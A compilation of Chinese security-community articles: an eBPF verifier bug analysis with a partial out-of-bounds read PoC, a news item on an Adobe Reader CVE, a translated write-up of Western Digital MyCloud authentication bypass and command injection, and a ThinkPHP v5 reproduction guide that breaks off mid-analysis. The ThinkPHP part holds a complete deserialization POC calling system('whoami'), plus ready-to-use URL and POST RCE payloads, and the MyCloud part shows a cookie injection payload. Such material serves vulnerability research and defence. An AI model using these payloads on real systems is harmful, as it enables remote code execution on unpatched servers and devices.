17: (35) if r3 >= 0x1000 goto pc+7
R0=imm0,min_value=0,max_value=0 R3=inv,min_value=0,max_value=4095 R4=inv R6=map_value(ks=4,vs=256,id=0),min_value=0,max_value=0 R7=map_valup
18: (35) if r4 >= 0x0 goto pc+1
R0=imm0,min_value=0,max_value=0 R3=inv,min_value=0,max_value=4095 R4=inv,min_value=0 R6=map_value(ks=4,vs=256,id=0),min_value=0,max_value=0p
19: (b7) r0 = 0
20: (35) if r4 >= 0x400 goto pc+4
R0=imm0,min_value=0,max_value=0 R3=inv,min_value=0,max_value=4095 R4=inv,min_value=0,max_value=1023 R6=map_value(ks=4,vs=256,id=0),min_valup
21: (7f) r3 >>= r4
22: (0f) r7 += r3
23: (79) r0 = *(u64 *)(r7 +0)
R0=imm0,min_value=0,max_value=0 R3=inv,min_value=0,max_value=0 R4=inv,min_value=0,max_value=1023 R6=map_value(ks=4,vs=256,id=0),min_value=0p
24: (7b) *(u64 *)(r6 +16) = r0
25: (b7) r0 = 0
26: (95) exit
from 20 to 25: R0=imm0,min_value=0,max_value=0 R3=inv,min_value=0,max_value=4095 R4=inv,min_value=1024 R6=map_value(ks=4,vs=256,id=0),min_vap
25: (b7) r0 = 0
26: (95) exit
从ctrl_buf[0] 读取值存入r3寄存器，读取ctrl_buf[1] 的值存入
r4寄存器，根据条件跳转设置r3的范围为[0,0×1000)，设置r4的范围为[0, 0x400)，所以进行r3 >>
r4操作后，根据漏洞代码的计算r3的范围为：
r3->min_value = (r3->min_value) >> r4->min_value = 0 >> 0 = 0
r3->max_value = (r3->max_value) >> r4->max_value = 0xfff >> 0x3ff = 0
所以会将r3当作常数0，而r3的传入范围为[0,0×1000)，造成r7（map指针）的越界读写。
调试结果如下：
调试可以看到dst_reg 的min_value和max_value都变成了0，此时会认为dst_reg的值为常数0.
但是该版本内核对PTR_TO_MAP_VALUE 指针的操作比较严格，必须要有CAP_SYS_ADMIN
权限开启allow_ptr_leaks标志位，才能设置 dst_reg->type = PTR_TO_MAP_VALUE_ADJ;
对map指针进行加减操作。
static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
{
// ...
/* If we did pointer math on a map value then just set it to our
* PTR_TO_MAP_VALUE_ADJ type so we can deal with any stores or
* loads to this register appropriately, otherwise just mark the
* register as unknown.
*/
if (env->allow_ptr_leaks &&
BPF_CLASS(insn->code) == BPF_ALU64 && opcode == BPF_ADD &&
(dst_reg->type == PTR_TO_MAP_VALUE ||
dst_reg->type == PTR_TO_MAP_VALUE_ADJ))
dst_reg->type = PTR_TO_MAP_VALUE_ADJ;
else
mark_reg_unknown_value(regs, insn->dst_reg);
}
// ...
普通用户权限，连对map指针正常的加减操作都不允许：
0: (18) r9 = 0x0
2: (bf) r1 = r9
3: (bf) r2 = r10
4: (07) r2 += -4
5: (62) *(u32 *)(r10 -4) = 0
6: (85) call 1
7: (55) if r0 != 0x0 goto pc+1
R0=inv,min_value=0,max_value=0 R9=map_ptr(ks=4,vs=256,id=0) R10=fp
8: (95) exit
from 7 to 9: R0=map_value(ks=4,vs=256,id=0),min_value=0,max_value=0 R9=map_ptr(ks=4,vs=256,id=0) R10=fp
9: (79) r8 = *(u64 *)(r0 +0)
10: (bf) r6 = r0
11: (b7) r0 = 0
12: (b7) r1 = -559038737
13: (b7) r3 = 16
14: (0f) r6 += r3
R6 pointer arithmetic prohibited
所以要利用此漏洞需要拥有CAP_SYS_ADMIN
权限才行，这基本需要root才能开启，因此这个越界读写导致提权的漏洞实则比较鸡肋，并且在高版本内核已经修复了，所以Linux
社区不回应ZDI也是有一定道理的，但ZDI评分8.8也是偏高了。
## 漏洞利用
该漏洞没啥利用价值，但姑且写了个越界读写的poc，申请一个0x100大小的ctrl_map，通过设置 `ctrl_buf[0] = 0x170*2;`
`ctrl_buf[1] = 1;`, 使得右移后的r3等于0x170，因为通过调试可以看到map指针+0x170处存放了一个内核地址，可以进行泄露。
……
ctrl_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,1,0);
……
static void update_elem(uint32_t op)
{
ctrl_buf[0] = 0x170*2;
ctrl_buf[1] = 1;
bpf_update_elem(0, ctrl_buf, ctrl_mapfd, 0);
writemsg();
}
效果如下：
需要root权限，就很鸡肋，有点标题党的意思。
环境：
<https://github.com/De4dCr0w/kernel-vul-env/tree/master/ZDI-20-1440>
## 参考链接
<https://www.thezdi.com/blog/2021/1/18/zdi-20-1440-an-incorrect-calculation-bug-in-the-linux-kernel-ebpf-verifier> | 社区文章 |
# Adobe Reader曝光高危漏洞！360国内首家支持防护
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，Adobe Acrobat
Reader被发现存在远程代码执行漏洞（CVE-2018-4901），可影响Reader主流版本，攻击者可利用恶意邮件附件或网页等发起攻击，打开PDF文档就会中招，电脑将变成黑客操控的肉鸡！
目前，Adobe官方已针对受影响版本提供补丁，用户可通过安全软件推送打好补丁；同时，
360安全卫士及360杀毒已率先支持对恶意文档的查杀防护，即使没打补丁，也能帮用户轻松免疫漏洞风险。
Adobe Acrobat Reader 是最为流行且功能丰富的 PDF
阅读器。它拥有庞大的用户群，也通常是系统中的默认的PDF阅读器，常作为插件集成在网页浏览器中。因此，该漏洞在被攻击者利用时，也可通过诱导用户访问恶意网页或发送电子邮件附件而触发。
据国外安全研究员披露，攻击者通过构造恶意的文件结构配合上 JavaScript 代码导致用户打开 PDF 文档时触发缓冲区溢出漏洞。
Adobe将该漏洞评为重要，这意味着该漏洞呈现出一定的风险，但目前没有发现已知的在野漏洞利用案例。据360安全专家分析，虽然成功利用该漏洞难度较大，但不排除漏洞利用代码公布后会出现真实攻击案例。
对此，360安全专家提醒用户尽快打好补丁，360安全卫士已经针对受影响的Adobe
Reader2018/2017/2015版本用户推送官方补丁，用户也可自行通过安全软件进行漏洞扫描及修复。
即便没打补丁的用户也不必担心，360安全卫士现已国内首家针对该漏洞实现防护，用户可通过360安全卫士及360杀毒全面查杀清理利用该漏洞的各类攻击。
此外，鉴于Adobe目前提供的完整更新包仅支持英文版，360安全专家提醒受影响的中文版本用户不要盲目升级，以免影响正常使用。
**附：** **CVE-2018-4901** **漏洞影响版本** | 社区文章 |
# 【技术分享】看我如何黑掉西部数码的NAS设备（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：exploitee.rs
原文地址：<https://blog.exploitee.rs/2017/hacking_wd_mycloud/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**传送门**
[**【技术分享】动手教你来挖西部数据NAS的漏洞**](http://bobao.360.cn/learning/detail/3611.html)
**
**
**一、前言**
在我们的安全研究工作中，有时候是我们主动去找设备安全漏洞，有时候是设备自动找上我们。今天我们要谈的是后一种情况：关于我们在西部数据NAS（网络附加存储，Networked
Attached Storage）设备方面的安全研究工作。
去年年中时，我（Zenofex）需要为我的Plex媒体播放器寻找一款支持硬件解码的NAS设备。经过一番研究，我最终订购了西部数据的一款NAS：MyCloud
PR4100。这款设备满足我的一切需求，同时也得到了一个朋友的强烈推荐。在将NAS添加到我的网络环境中、首次访问设备的管理页面后，我对在缺乏安全审计下将新设备添加到网络这一过程感到越来越厌烦。因此我打开NAS的SSH接口，研究一下其内部的Web服务器的工作机制。
**二、登录认证绕过漏洞**
我找到的第一个漏洞是登录认证绕过漏洞，这个漏洞存在于一段通过cookie或PHP
session变量实现用户登录检查的代码中。使用cookie进行验证并不一定是不好的，但在西数MyCloud登陆界面上这种方法实现上存在漏洞。仔细阅读以下代码：
代码文件：/lib/login_checker.php
function login_check()
{
$ret = 0;
if (isset($_SESSION['username']))
{
if (isset($_SESSION['username']) && $_SESSION['username'] != "")
$ret = 2; //login, normal user
if ($_SESSION['isAdmin'] == 1)
$ret = 1; //login, admin
}
else if (isset($_COOKIE['username']))
{
if (isset($_COOKIE['username']) && $_COOKIE['username'] != "")
$ret = 2; //login, normal user
if ($_COOKIE['isAdmin'] == 1)
$ret = 1; //login, admin
}
return $ret;
}
上述代码中包含一个login_check函数，为所有的后端PHP脚本提供服务，用来对用户进行预认证检查。上述代码存在两个路径，一个用来检查“username”及“isAdmin”会话值，另一个尝试使用cookie值完成同样工作。由于cookie是由用户提供的，因此攻击者可利用cookie尝试攻击。上述代码的工作流程可以归结为：
1、若“username”变量存在且值不为空，则用户以普通权限登录。
2、若“isAdmin”变量设置为1，则用户以管理员权限登陆。
这意味着只要登录检查过程涉及到PHP脚本，攻击者就可以使用2个精心构造的cookie值绕过登录检查。
在我写这篇文章的过程中，西数发布了一个新的固件，修复了上述漏洞。然而这个补丁同样存在登录验证绕过漏洞。以下为打过补丁的代码片段：
文件：/var/www/web/lib/login_checker.php
20 function login_check()
21 {
22 $ret = 0;
23
24 if (isset($_SESSION['username']))
25 {
26 if (isset($_SESSION['username']) && $_SESSION['username'] != "")
27 $ret = 2; //login, normal user
28
29 if ($_SESSION['isAdmin'] == 1)
30 $ret = 1; //login, admin
31 }
32 else if (isset($_COOKIE['username']))
33 {
34 if (isset($_COOKIE['username']) && $_COOKIE['username'] != "")
35 $ret = 2; //login, normal user
36
37 if ($_COOKIE['isAdmin'] == 1)
38 $ret = 1; //login, admin
39
40 if (wto_check($_COOKIE['username']) === 0) //wto check fail
41 $ret = 0;
42 }
43
44 return $ret;
45 }
46 ?>
在新的代码中，调用了一个新的方法“wto_check()”（第40行）。该方法运行了设备上的一个程序，以用户提供的用户名及用户IP作为参数。如果用户当前处于已登录未超时状态，则函数返回1，否则返回0（代表用户未登录）。“wto_check()”方法具体代码如下：
文件：/var/www/web/lib/login_checker.php
3 /*
4 return value: 1: Login, 0: No login
5 */
6 function wto_check($username)
7 {
8 if (empty($username))
9 return 0;
10
11 exec(sprintf("wto -n "%s" -i '%s' -c", escapeshellcmd($username), $_SERVER["REMOTE_ADDR"]), $login_status);
12 if ($login_status[0] === "WTO CHECK OK")
13 return 1;
14 else
15 return 0;
16 }
17
18 /* ret: 0: no login, 1: login, admin, 2: login, normal user */
上述代码中，第11行调用了wto程序，参数为用户名及IP地址。代码存在的问题是对PHP中“escapeshellcmd()”函数的错误使用，该函数本来是用来处理整个命令字符串的，而不单单是处理一个参数。具体来说，“escapeshellcmd()”函数没有对引号进行转义，攻击者可以跳出参数的转义限制（本例中是“-n”参数），将新的参数传递给程序。基于这一点，我们可以添加新的参数，自行决定用户登录状态，而不需要实际检查用户是否登录成功。虽然我们不认为简单地判断IP地址和登录超时就足以确定用户的登录状态，但此例中，编写这段代码的程序员应该使用“escapeshellarg()”函数来达到这一目的，该函数可以对二进制参数进行过滤，同时可以转义引号。本例中，相对于使用“escapeshellcmd()”函数，使用“escapeshellarg()”函数可以阻止这类攻击的生效。
**三、命令注入漏洞**
WDCloud
Web服务的主要功能实际上是由设备上的CGI脚本进行处理的。大多数脚本使用的是相同的模式，它们从请求中提取post/get/cookie值，在PHP调用中使用这些值来执行shell命令。在大多数情况下，这些命令会直接使用用户提供的输入，很少或基本没有对输入进行处理。比如，我们检查从设备中提取的代码：
文件：php/users.php
15 $username = $_COOKIE['username'];
16 exec("wto -n "$username" -g", $ret);
上述代码从超全局变量（superglobal）COOKIE中提取值（该值包括用户通过请求提交的cookie数组索引），将值赋到本地变量“$username”中，随后传递给PHP的“exec()”函数，最终作为一个参数由wto使用。由于这个过程中不涉及对用户提交数据的处理，因此如果我们使用如下类似的用户名：
username=$(touch /tmp/1)
那么执行命令就会变为：
wto -n "$(touch /tmp/1)" -g
最终服务器会执行用户提交的内部命令。
因为代码使用了双引号对参数进行封装，而我们使用了“$(COMMANDHERE)”这中格式的语法，因此“touch
/tmp/1”命令会先于“wto”命令执行，执行的返回结果会作为“wto”命令的“-n”参数。这种类型的命令注入漏洞经常可以在针对Web的攻击脚本中看到。此类攻击通常会被认证过程所阻拦，但在本例中，结合前面的认证绕过漏洞我们就可以轻松达成攻击目的。另外，需要注意的是，上述执行的命令都是利用Web服务器来完成的，注入命令会获得与Web服务器一致的权限，本例中为root权限。
**四、其他漏洞**
上述漏洞看起来已经很严重了，然而在Web服务中还存在许多漏洞，有些与认证绕过漏洞一样，我们很容易就可以找出来（以注释形式标出）：
文件：addons/ftp_download.php
6 //include ("../lib/login_checker.php");
7 //
8 ///* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
9 //if (login_check() == 0)
10 //{
11 // echo json_encode($r);
12 // exit;
13 //}
有些漏洞更具有功能性，如以下代码存在漏洞，允许非认证用户上传文件到myCloud设备中。
文件：addons/upload.php
2 //if(!isset($_REQUEST['name'])) throw new Exception('Name required');
3 //if(!preg_match('/^[-a-z0-9_][-a-z0-9_.]*$/i', $_REQUEST['name'])) throw new Exception('Name error');
4 //
5 //if(!isset($_REQUEST['index'])) throw new Exception('Index required');
6 //if(!preg_match('/^[0-9]+$/', $_REQUEST['index'])) throw new Exception('Index error');
7 //
8 //if(!isset($_FILES['file'])) throw new Exception('Upload required');
9 //if($_FILES['file']['error'] != 0) throw new Exception('Upload error');
10
11 $path = str_replace('//','/',$_REQUEST['folder']);
12 $filename = str_replace('\','',$_REQUEST['name']);
13 $target = $path . $filename . '-' . $_REQUEST['index'];
14
15 //$target = $_REQUEST['folder'] . $_REQUEST['name'] . '-' . $_REQUEST['index'];
16
17 move_uploaded_file($_FILES['file']['tmp_name'], $target);
18
19
20 //$handle = fopen("/tmp/debug.txt", "w+");
21 //fwrite($handle, $_FILES['file']['tmp_name']);
22 //fwrite($handle, "n");
23 //fwrite($handle, $target);
24 //fclose($handle);
25
26 // Might execute too quickly.
27 sleep(1);
上面代码漏洞包括未对用户进行认证检查，在上传文件时直接使用用户提供的路径确定文件的本地存放路径。
除了本文中列出的漏洞之外，我们在wiki中还收集了MyCloud
Web服务的其他漏洞。我们的目标是厂商能够尽快对漏洞进行修复，然而，大量严重漏洞的发现意味着我们在厂商发布补丁后，还需要重新对产品进行评估。
**五、责任说明**
我们通常会与厂商合作以确保漏洞的正确披露时间。然而，在参观了维加斯黑帽大会的“Pwnie
Awards”后，我们更加了解了厂商在安全社区中的“声誉”。在忽略了用户提交的一组严重漏洞报告的前提下，厂商依然获得了“Pwnie for Lamest
Vendor
Response”奖项。忽略这些漏洞会导致存在漏洞的设备更久地暴露在互联网中，在漏洞细节披露后这些设备会更加危险。因此我们尝试向社区告知这些安全警告，希望用户能将漏洞设备从互联网中下线，并尽可能地限制设备的访问渠道。经过这些披露过程后，我们公开了我们的研究细节，希望这样能够加速厂商给用户提供补丁。
**六、漏洞统计**
1x 登录认证绕过漏洞
1x 任意文件写入漏洞
13x 未授权远程命令执行漏洞
70x 已授权远程命令执行漏洞（可以与登录认证绕过漏洞配合使用）
**七、影响范围**
大多数漏洞影响了西部数据MyCloud产品的所有类别。包括以下类别：
My Cloud
My Cloud Gen 2
My Cloud Mirror
My Cloud PR2100
My Cloud PR4100
My Cloud EX2 Ultra
My Cloud EX2
My Cloud EX4
My Cloud EX2100
My Cloud EX4100
My Cloud DL2100
My Cloud DL4100
**八、更多信息**
西数MyCloud产品漏洞的详细列表及细节可以访问[Exploitee.rs
Wiki](https://www.exploitee.rs/index.php/Western_Digital_MyCloud)查看。
关注[@Exploiteers](https://twitter.com/exploiteers)可接受wiki中西数产品的相关内容。
**九、漏洞视频**
**传送门**
* * *
[**【技术分享】动手教你来挖西部数据NAS的漏洞**](http://bobao.360.cn/learning/detail/3611.html) | 社区文章 |
# ThinkPHP V5 漏洞复现
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 ThinkPHP V5.1反序列化
### 0x00 项目安装
使用composer部署TP项目,创建一个名为TP51的TP项目
`composer create-project --prefer-dist topthink/think tp51 5.1.*`
TP框架入口文件为{安装目录}/public/index.php，使用apache部署后访问入口文件显示TP欢迎界面即安装成功。
### 0x01 演示版本
ThinkPHP v5.1.41
PHP: php 7.3.4
OS：Windows10
### 0x02 源码分析
**准备**
首先得准备一个反序列化的入口
可以直接在 `public/index.php` 中添加如下代码对输入进行反序列化
if (isset($_GET['data'])) {
$data=$_GET['data'];
unserialize(base64_decode($data));
} else {
highlight_file(__FILE__);
}
**分析**
起始位置在 `think\process\pipes\Windows` 类的 `__destruct()` 方法内调用的
`$this->removeFiles()`。
public function __destruct()
{
$this->close();
$this->removeFiles();
}
该函数的作用是删除文件，但是这里用来判断文件是否存在的函数 `file_exists()` 的参数如果是一个对象，会触发它的 `__toString()`
方法。
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
这里可以利用 `think\model\concern\Conversion` 类，但是这是一个trait，不能实例化，所以还要找一个使用了它的类，如
`think\Model` ，但这是一个抽象类，所以又接着找到了它的实现类
`think\model\Pivot`。解决了trait的问题，那就接着跟进调用的函数 `toJson()`，接着调用 `toArray()`。
public function __toString()
{
return $this->toJson();
}
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
`toArray()` 截图了关键代码，这里的 `$this->append` 可控。
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
$item[$key] = $relation ? $relation->append($name)->toArray() : [];
}
}
}
定位到 `getRelation()` ，只要使得 `$this->getRelation($key)` 返回值为False，就接着调用
`$this->getAttr($key)`。
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
截取前面部分代码，这里的 `$closure($value, $this->data)` ，如果 `$closure` 和 `$value`
可控的话，那么我们就可以执行任意命令。
`$closure = $this->withAttr[$fieldName];` ，调用的函数名由 `$this->withAttr` 以及
`$fieldName` 决定，`$this->withAttr` 可控，而 `$fieldName` 由 `$this->append`
的键名决定。函数定了，参数 `$value` 回溯看一下，等于 `$this->getData($name)`
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
// 检测属性获取器
$fieldName = Loader::parseName($name);
$method = 'get' . Loader::parseName($name, 1) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
}
函数的返回值可以由 `$this->data[$name]` 决定，也是可控。
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
那么就可以写出POC了
<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think{
abstract class Model
{
private $data = [];
private $withAttr = [];
protected $append = ['so4ms'=>[]];
public function __construct()
{
$this->relation = false;
$this->data = ['so4ms'=>'whoami'];
$this->withAttr = ['so4ms'=>'system'];
}
}
}
namespace {
use think\process\pipes\Windows;
$windows = new Windows();
echo base64_encode(serialize($windows))."\n";
}
## 0x01 ThinkPHP5 未开启强制路由RCE
### 0x00 影响范围
> ThinkPHP 5.0.5-5.0.22
> ThinkPHP 5.1.0-5.1.30
### 0x01 演示版本
ThinkPHP v5.0.15
PHP: php 7.3.4
环境：Windows10
### 0x02 payload
调试分析时选用的是
`?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami`
### 0x03 触发条件
`application\config.php` 两个所需条件如下：
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 是否强制使用路由
'url_route_must' => false,
### 0x04 调试分析
入口函数 `think\App` 中的 `run()` 函数，在 `routeCheck()` 处打下断点，跟进。
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
在 `routeCheck()` 中先调用了 `path()` 函数来获取路由，跟进一下 `path()` 函数。
$path = $request->path();
又接着跟进 `$this->pathinfo()`
$pathinfo = $this->pathinfo();
此时的 `$this->pathinfo` 默认为null，进入if，然后开始获取 `config.php` 中的设置 `'var_pathinfo'`
，因此之前得有 `'var_pathinfo' => 's',` 才能进一步往下。然后通过
`$_GET[Config::get('var_pathinfo')]` 获取我们传入的路由信息。
此时进入下一个if，由于上面已经获取了 `$_SERVER['PATH_INFO']` ，不满足条件，所以跳过了这个if。返回
`index/\think\app/invokefunction`。
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[Config::get('var_pathinfo')])) {
// 判断URL里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
unset($_GET[Config::get('var_pathinfo')]);
} elseif (IS_CLI) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}
// 分析PATHINFO信息
if (!isset($_SERVER['PATH_INFO'])) {
foreach (Config::get('pathinfo_fetch') as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
}
return $this->pathinfo;
}
回到 `path()` 函数，这里的 `$suffix` 值默认为 `html` ，进入第一个 elseif。去掉 `html`
，由于我们的请求中没有，所以没任何影响，返回 `index/\think\app/invokefunction`。
public function path()
{
if (is_null($this->path)) {
$suffix = Config::get('url_html_suffix');
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}
return $this->path;
}
回到 `routeCheck()`，这里先对路由进行了检测，返回为false，然后对 `config.php` 中的 `url_route_must`
进行了判断，之前已经确认了为false，不开启强制路由，否则的话下面就会抛出错误，也就无法继续利用了。
// 路由检测（根据路由定义返回不同的URL调度）
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
然后在下面，由于 `$result` 值为false，所以调用了 `parseUrl` 来对输入进行解析。
// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
这里url的 `/` 被替换为了 `|` ，然后我们跟进 `parseUrlPath()`。
$url = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url);
这里又把 `|` 换回了 `/` ，然后根据 `/` 将url切割为了三部分：模块/控制器/操作。
/**
* 解析URL的pathinfo参数和变量
* @access private
* @param string $url URL地址
* @return array
*/
private static function parseUrlPath($url)
{
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
$var = [];
if (false !== strpos($url, '?')) {
// [模块/控制器/操作?]参数1=值1&参数2=值2...
$info = parse_url($url);
$path = explode('/', $info['path']);
parse_str($info['query'], $var);
} elseif (strpos($url, '/')) {
// [模块/控制器/操作]
$path = explode('/', $url);
} else {
$path = [$url];
}
return [$path, $var];
}
然后回到 `parseUrl` ，然后分别获取模块、控制器、操作，最后返回了 `['type' => 'module', 'module' =>
$route]`。
public static function parseUrl($url, $depr = '/', $autoSearch = false)
{
if (isset(self::$bind['module'])) {
$bind = str_replace('/', $depr, self::$bind['module']);
// 如果有模块/控制器绑定
$url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
}
$url = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url);
$route = [null, null, null];
if (isset($path)) {
// 解析模块
$module = Config::get('app_multi_module') ? array_shift($path) : null;
if ($autoSearch) {
// 自动搜索控制器
// 不执行，省略了
} else {
// 解析控制器
$controller = !empty($path) ? array_shift($path) : null;
}
// 解析操作
$action = !empty($path) ? array_shift($path) : null;
// 解析额外参数
self::parseUrlParams(empty($path) ? '' : implode('|', $path));
// 封装路由
$route = [$module, $controller, $action];
// 检查地址是否被定义过路由
$name = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action);
$name2 = '';
if (empty($module) || isset($bind) && $module == $bind) {
$name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action);
}
if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) {
throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
}
}
return ['type' => 'module', 'module' => $route];
}
回到了最开始的 `run()` ，往下执行到 `$data = self::exec($dispatch, $config);`，`$dispatch`
就是上面我们返回的 `['type' => 'module', 'module' => $route]`。执行如下代码。
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
最后在 `module()` 的最后 `return self::invokeMethod($call, $vars);`，这里的 `$call`
就是我们传入的控制器、操作。
在这生成反射实例，然后在 `bindParams` 获取了我们传入的参数
`function=call_user_func_array&vars[0]=system&vars[1][]=whoami`
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
}
$args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}
最后就到达了我们的目的地 `invokeFunction()`，成功rce。
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
## 0x02 ThinkPHP v5.0 命令执行
### 0x00 影响范围
> ThinkPHP 5.0.0 ~ ThinkPHP 5.0.23
### 0x01 演示版本
ThinkPHP v5.0.15
PHP: php 7.3.4
OS：Windows10
### 0x02 漏洞复现
向网页进行POST传参 `_method=__construct&filter=system&a=whoami` ，可以发现成功执行命令。
### 0x03 触发条件
`Application/config.php` 开启调试。
// 应用调试模式
'app_debug' => true,
### 0x04 调试分析
由于漏洞出现在参数过滤处，所以我们在 `Think\App.php` 的 `run()` 函数里打下断点
$request->filter($config['default_filter']);
这里获取了全局过滤方法，默认为空字符。
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
跟进 `filter()` ，这里传入的 `$filter` 不为null，所以进入else。
/**
* 设置或获取当前的过滤规则
* @param mixed $filter 过滤规则
* @return mixed
*/
public function filter($filter = null)
{
if (is_null($filter)) {
return $this->filter;
} else {
$this->filter = $filter;
}
}
随后 `run()` 函数执行到 `routeCheck()`。
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
在 `routeCheck()` 中调用了 `check()` ，又接着调用了 `method()`。
获取 `config.php` 中的 `var_method`，默认为
`_method`，由于我们传入了`_method=__construct`，这里进入elseif，就使得
`$this->method=__construct`，随后就调用了 `__construct()`，将我们POST传递的参数当做函数参数传入。
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
}
}
return $this->method;
}
这里对传入的参数进行了遍历，由于 `Request` 类存在 `filter` 属性，所以就将我们的输入覆盖了原来的 `filter` 。
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
又回到 `run()` ，这里会判断是否开启了debug，开启的话就会调用 `$request->param()` ，来记录参数信息。
// 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
调用 `$this->post` 来获取传递的参数，然后进入 `input()`。
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->param)) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->get(false), $vars, $this->route(false));
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
